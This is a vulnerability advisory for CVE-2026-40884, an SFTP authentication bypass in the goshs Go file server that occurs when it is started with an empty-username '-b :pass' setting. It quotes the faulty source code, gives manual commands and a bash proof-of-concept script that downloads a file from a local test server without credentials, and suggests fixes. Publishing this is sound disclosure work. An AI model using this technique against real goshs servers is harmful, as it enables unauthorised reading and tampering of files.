CVE-2026-40884 — Vulnerability in github.com/patrickhener/goshs —...

### Summary goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b ':pass'` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`. ### Details The help text explicitly documents empty usernames as valid authentication input: - `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)` The SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present: ```go if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") { logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b") } ``` That parsing logic then splits `-b ':pass'` into an empty username and a non-empty password: ```go auth := strings.SplitN(opts.BasicAuth, ":", 2) opts.Username = auth[0] opts.Password = auth[1] ``` But the SFTP server only installs a password handler if both the username and password are non-empty: ```go if s.Username != "" && s.Password != "" { sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool { return ctx.User() == s.Username && password == s.Password } } ``` With `-b ':pass'`, that condition is false, so no password authentication is enforced for SFTP sessions. Relevant source locations: - `options/options.go:264-266` - `sanity/checks.go:82-85` - `sanity/checks.go:102-109` - `sftpserver/sftpserver.go:82-85` ### PoC I manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b ':pass'`, but an SFTP client still downloaded a file without supplying any key or password. Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt mkdir -p /tmp/goshs_authless_root printf 'root file\n' > /tmp/goshs_authless_root/test.txt /tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass' ``` `Terminal 2` ```bash printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \ sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1 cat /tmp/authless_sftp.txt ``` Expected result: - the SFTP session succeeds without a key - there is no password prompt - `cat /tmp/authless_sftp.txt` prints `root file` PoC Video 1: https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2' ``` `gosh_poc2` script content: ```bash #!/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' BIN='/tmp/goshs_beta5_sftp_empty_user' ROOT='/tmp/goshs_authless_root' DOWNLOAD='/tmp/authless_sftp.txt' HTTP_PORT='18102' SFTP_PORT='2223' SERVER_PID="" cleanup() { if [[ -n "${SERVER_PID:-}" ]]; then kill "${SERVER_PID}" >/dev/null 2>&1 || true wait "${SERVER_PID}" 2>/dev/null || true fi } trap cleanup EXIT echo '[1/5] Building goshs beta.5' cd "${REPO}" go build -o "${BIN}" ./ echo '[2/5] Preparing test root' rm -rf "${ROOT}" "${DOWNLOAD}" mkdir -p "${ROOT}" printf 'root file\n' > "${ROOT}/test.txt" echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}" "${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \ >/tmp/gosh_poc2.log 2>&1 & SERVER_PID=$! for _ in $(seq 1 40); do if python3 - <<PY import socket s = socket.socket() try: s.connect(("127.0.0.1", ${SFTP_PORT})) raise SystemExit(0) except OSError: raise SystemExit(1) finally: s.close() PY then break fi sleep 0.25 done echo '[4/5] Connecting without password or key' printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \ sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - foo@127.0.0.1 echo '[5/5] Verifying unauthenticated file access' echo "Downloaded content: $(cat "${DOWNLOAD}")" if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated' else echo '[RESULT] NOT REPRODUCED' exit 1 fi ``` PoC Video 2: https://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77 ### Impact This is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented `-b ':pass'` syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions. ### Remediation Suggested fixes: 1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string. 2. If empty usernames are not intended for SFTP, reject `-b ':pass'` during option validation whenever `-sftp` is enabled. 3. Add an integration test that starts SFTP with `-b ':pass'` and verifies that unauthenticated sessions are rejected.